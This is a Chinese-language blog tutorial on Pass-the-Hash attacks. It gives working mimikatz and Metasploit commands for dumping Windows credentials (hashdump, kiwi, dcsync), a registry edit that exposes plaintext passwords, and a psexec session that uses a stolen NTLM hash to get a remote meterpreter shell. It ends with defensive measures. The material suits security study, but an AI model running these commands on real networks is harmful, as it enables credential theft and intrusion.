哈希传递攻击利用(Pass The Hash)

最近又复习了一下内网的相关知识,把以前的整理了一下发出来做个记录。

0x01 哈希传递攻击概念

有一点内网渗透经验的都应该听说过哈希传递攻击,通过找到相应账户相关的密码散列值(LM Hash,NTLM Hash)来进行未授权登陆。
可参考Wikipedia的介绍,地址如下://en.wikipedia.org/wiki/Pass_the_hash
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登陆内网中的其他计算机。
在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash.在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文。此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。修改注册表命令为:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

因此,攻击者如果使用工具将散列值传递到其他计算机中,进行权限验证,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程),实现对计算机的控制。

NTLM Hash与NTLM

hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。
在Windows中,密码Hash目前称之为NTLM Hash,其中NTLM全称是:“NT LAN Manager”。这个NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。也就是说,NTLM与NTLM Hash相互对应。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。
注:
mimikatz支持导出内存中用户的LM hash,但前提是Windows系统支持LM hash
Windows Server 2008启用LM hash的方法:
gpedit.msc->计算机配置->Windows 设置->安全设置->本地策略->安全选项
找到网络安全︰ 不要在下次更改密码存储 LAN 管理器的哈希值,选择已禁用
系统下一次更改密码后,就能够导出LM hash(已经被弃用了)

0x02 利用方法

1.首先就是神器mimikatz,但你首先得拥有本地管理员的执行的权限。

privilege::debug
sekurlsa::logonpasswords


复制NTLM Hash的值

sekurlsa::pth /user:administrator /domain:XIAN.COM /ntlm:7365e3b22baeaebc0411873eedf84390

完成之后会弹出cmd.exe,或者重新开一个命令行

也可以尝试列出被哈希传递攻击的域内靶机的c盘内容

利用msf进行哈希传递攻击

msf内置的mimikatz获取hash(需要管理员权限)

在msf中也内置有mimikatz,以下命令都可以在msf中获取hash

hashdump
run hashdump
run post/windows/gather/smart_hashdump
除了meterpreter自带的,还可以通过加载mimikatz获得:
load mimikatz(必须,否则无以下命令)
msv    获取的是hash值
tspkg   tspkg凭证相关的模块
wdigest   读取内存中存放的账号密码明文信息
kerberos  kerberos相关的模块
ssp   获取的是明文信息

mimikatz的原生命令在这里有些改动
mimikatz_command 模块可以让我们使用mimikatz的全部功能。

meterpreter > mimikatz_command -f a::  输入一个错误的模块,可以列出所有模块
meterpreter > mimikatz_command -f samdump::  可以列出samdump的子命令
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f handle::list  列出应用进程
meterpreter > mimikatz_command -f service::list  列出服务

例如

mimikatz_command -f samdump::hashes   获取hash


建议每种都试一下,可能因为windows版本的高低,有些情况一种命令获取不到,比如我的win2003就只能用hashdump命令才能看到密码hash,

msf的kiwi模块(需要系统权限)

kiwi就是msf内置的mimikatz模块的升级版
但是kiwi是默认加载32位系统的,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后用migrate命令将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。如果目标系统是32位的,则没有这个限制。
使用前先在meterpreter下加载kiwi模块

使用命令creds_kerberos列举所有kerberos凭据

可以看到我之前用msf内置的mimikatz没有加载出来的密码,现在明文加载出来了。
再来将用户hash密码加载出来kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令

可以看到成功列出用户密码hash
kiwi模块命令集合

creds_all: 列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync: 通过DCSync检索用户帐户信息
dcsync_ntlm: 通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list: 列出当前用户的wifi配置文件
wifi_list_shared: 列出共享wifi配置文件/编码

msf psexec模块

PsExec是sysinternals套件中的一款强大的软件,通过他可以提权和执行远程命令,对于批量大范围的远程运维能起到很好的效果,尤其是在域环境下。但现在,攻击者渐渐开始使用psexec,通过命令行环境与目标靶机进行连接,甚至控制目标机器,而不需要通过远程连接协议(RDP)进行图形化设置,降低了因为恶意操作被管理员发现的可能性(因为PsExec是Windows提供的工具,所以杀毒软件可能会将其列入白名单)
msf中有3个psexec模块都可以进行Hash传递利用:

# 执行单个命令的PTH模块
auxiliary/admin/smb/psexec_command

# 执行直接就获取到meterpreter的PTH模块
exploit/windows/smb/psexec

# 支持对一个网段进行PTH进行验证的模块
exploit/windows/smb/psexec_psh

再使用pesxec模块之前要保证:

  1. 开启445端口 SMB服务
  2. 开启admin$共享
    使用之前板块获取到的管理员NTLM Hash
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:7365e3b22baeaebc0411873eedf84390这里前半部分的LM Hash不重要,只要保证后半部分的NTML Hash正确就行。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.5.128
lhost => 192.168.5.128
msf5 exploit(windows/smb/psexec) > set rhost 192.168.5.11
rhost => 192.168.5.11
msf5 exploit(windows/smb/psexec) > set smbuser Administrator
smbuser => Administrator
msf5 exploit(windows/smb/psexec) > set smbpass a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390 
smbpass => a780a2793038e0d41e929ffc01395127:7365e3b22baeaebc0411873eedf84390
msf5 exploit(windows/smb/psexec) > run



这里还有很多不错的获取hash方法没写(主要是懒,用msf方便),比如PowerShell、WCE、AES-256密钥哈希传递、python第三方库impacket下的secretsdump等等,以后有空再记录吧…..

0x03 防范措施

KB2871997补丁的影响

防范首先想到打补丁,微软也早在2014年5月发布了KB2871997补丁,该补丁禁止通过本地管理员权限与远程计算机进行连接,其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbecec等,也无法访问远程的文件共享等。
但实际上就算打了KB2871997补丁后,Administrator账号(SID为500)也是例外的,使用该账户的NTLM Hash依然可以进行哈希传递

防御 mimikatz 攻击

mimikatz在抓取散列值或明文密码时,需要用到Debug权限(因为mimikatz需要和lsass进程进行交互,如果没有Debug权限,mimikatz将不能读取lsass进程里的密码)。而Debug权限归本地管理员Administrator所有,目的是确定哪些用户可以将调试器附加到任何进程或内核中,但一般Administrator不会用到这个权限(除非是系统进程)。

所以在配置用户权限时,可以将拥有Debug权限的本地管理员从Administrator组中移除。重启系统之后,在运行mimikatz,在第一步”privilege::debug”时就会报错了。

0x04 参考文献

//saucer-man.com/information_security/443.html#cl-11
//saucer-man.com/information_security/79.html#cl-13
//www.freebuf.com/articles/system/217681.html
//blog.csdn.net/qq_36119192/article/details/104802921
//www.cnblogs.com/Mikasa-Ackerman/p/hou-shen-tou-zhong-de-mi-ma-zhua-qu.html